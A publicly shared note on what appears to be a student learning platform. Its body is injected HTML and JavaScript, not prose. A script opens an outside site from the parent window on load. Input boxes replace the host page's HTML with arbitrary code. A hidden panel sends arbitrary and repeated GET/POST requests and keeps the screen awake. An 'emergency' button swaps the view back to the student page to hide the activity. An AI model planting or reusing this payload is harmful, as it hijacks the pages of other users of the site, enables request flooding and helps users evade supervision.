您当前看到的笔记是用户主动公开的!

又一个

时间:2020-11-18 14:46   阅读:9



<script>parent.window.open('http://www.13jy.cn/modules/feedback')</script>

<textarea id="t"></textarea> <button onclick="parent.$('html').html($('#t').val())">執行</button><iframe width=955 height=600 src="http://www.360.com">


<body style="margin:0">

<div id="caidan">

<div id="setting" style="display:none;position:fixed;position:absolute;background:white;width:959px">

<div id="gongju" style="display:none;overflow: auto;">

<button onclick="$('#div').toggle()">HTML执行</button>

<button onclick="$('#huo').toggle()">源码</button>

<button onclick="$('#qing').toggle()">请求</button>

<button onclick="$('#xiping').toggle()">防熄屏</button>

<div id="div" style="display:none">

<textarea rows="10" cols="119" placeholder="请输入代码" id="text"></textarea>

<input type="button" value="执行" onclick="parent.$('html').html($('#text').val());clearInterval(timer)">

</div>

<div id="huo" style="display:none">

<input id="url" placeholder="请输入网址">

获取类型:<select id="type">

<option value="html">HTML</option>

<option value="script">JavaScript</option>

<option value="xml">XML</option>

<option value="json">JSON</option>

<option value="jsonp">JSONP</option>

<option value="text">text</option>

</select>

<button onclick="$.ajax({async:true,type:'get',url:$('#url').val(),data:{},dataType:$('#type').val(),success:function(result){$('#yuanma').val(result);},error:function(err){$('#yuanma').val('获取失败:'+err)},});">获取源码</button>

<textarea rows="33" cols="119" placeholder="源码存储区" id="yuanma"></textarea>

</div>

<div id="qing" style="display:none">

请求类型:<select id="type1">

<option value="get">get</option>

<option value="post">post</option>

</select>

<input id="url1" placeholder="请输入网址">

返回类型:<select id="type2">

<option value="html">HTML</option>

<option value="script">JavaScript</option>

<option value="xml">XML</option>

<option value="json">JSON</option>

<option value="jsonp">JSONP</option>

<option value="text">text</option>

</select>

格式例子:yd=1&type=1<textarea cols="119" rows="10" id="zhi1" placeholder="请输入传入的值(可以为空)"></textarea>

<input type="number" placeholder="请输入请求次数(不用时可为空)" id="time">

<button id="timeon" onclick="$.ajax({async:true,type:$('#type1').val(),url:$('#url1').val(),data:$('#zhi1').val(),dataType:$('#type2').val(),success:function(result1){$('#zhi2').val(result1);},error:function(err1){$('#zhi2').val('返回失败:'+err1)},});">发送请求</button>

<button onclick="var i=0;while(i<$('#time').val()){document.getElementById('timeon').click();i++}">多次请求</button>

<br><textarea rows="33" cols="119" id="zhi2" placeholder="返回数据存储区"></textarea>

</div>

<div style="display:none" id="xiping">

<video id="video" style="display:none" src="http://223.82.247.101:80/play/46F77D6E824E1C29D67554CC2FD18F7C06BD4228.mp4"width="200" height="300" controls="controls" muted="muted"></video>

请选择你的熄屏时间:<select id="T1">

<option value="59000">1分钟</option>

<option value="299000">5分钟</option>

<option value="599000">10分钟</option>

<option value="1799000">30分钟</option>

</select>

<button id="fangting" style="display:none" onclick="document.getElementById('video').play();setTimeout(function (){document.getElementById('video').pause()},1000)"></button>

<button onclick="timer=setInterval(function (){document.getElementById('fangting').click()},$('#T1').val());$('#zt').text('防熄屏:运行中');$('#zt').css('color','green')">开启</button>

<button onclick="clearInterval(timer);$('#zt').text('防熄屏:已关闭');$('#zt').css('color','red')">关闭</button>

</div>

</div>

<button onclick="$('#gongju').toggle()">工具</button>

<button onclick="history.go(-1)">返回</button>

<button onclick="history.go(1)">前进</button>

<button onclick="document.getElementById('iframe').contentWindow.location.reload()">刷新</button>

<input type="search" id="src" placeholder="请输入网址" onkeydown="if(event.keyCode==13)$('#iframe').attr('src',this.value)">

<button onclick="$('#src').val(document.getElementById('iframe').contentWindow.location)">获取URL</button>

<button onclick="$('#chenjin').show();$('#caidan').hide();$('#gongju').hide();$('#setting').hide();$('#jinji').css('opacity','0')">全屏</button>

<button id="zt" style="color:red">防熄屏:已关闭</button>

</div>

<button style="position:fixed;right:0px;bottom:0px;" onclick="$('#setting').toggle();$('#gongju').hide()">菜单</button>

</div>

<button id="jinji" style="position:fixed;right:0px;top:0px" onclick="$('#iframe').attr('src', '/stu/default');$('#quanping').show();$('#caidan').hide();$('#jinji').hide();$('#gongju').hide();$('#chenjin').hide();$('#setting').hide()">紧急</button>

<button id="quanping" style="display:none;position:fixed;left:0px;top:0px;opacity:0" onclick="$('#caidan').show();$('#jinji').show();$('#quanping').hide();$('#jinji').css('opacity','1')"></button>

<button id="chenjin" style="display:none;position:fixed;left:0px;top:0px;opacity:0" onclick="$('#caidan').show();$('#chenjin').hide();$('#jinji').css('opacity','1')"></button>

<div style="text-align:center">

<iframe id="iframe" frameborder="no" align="left" style="height:600px;width:960px" src="/stu/default"></iframe>

</div>

</body>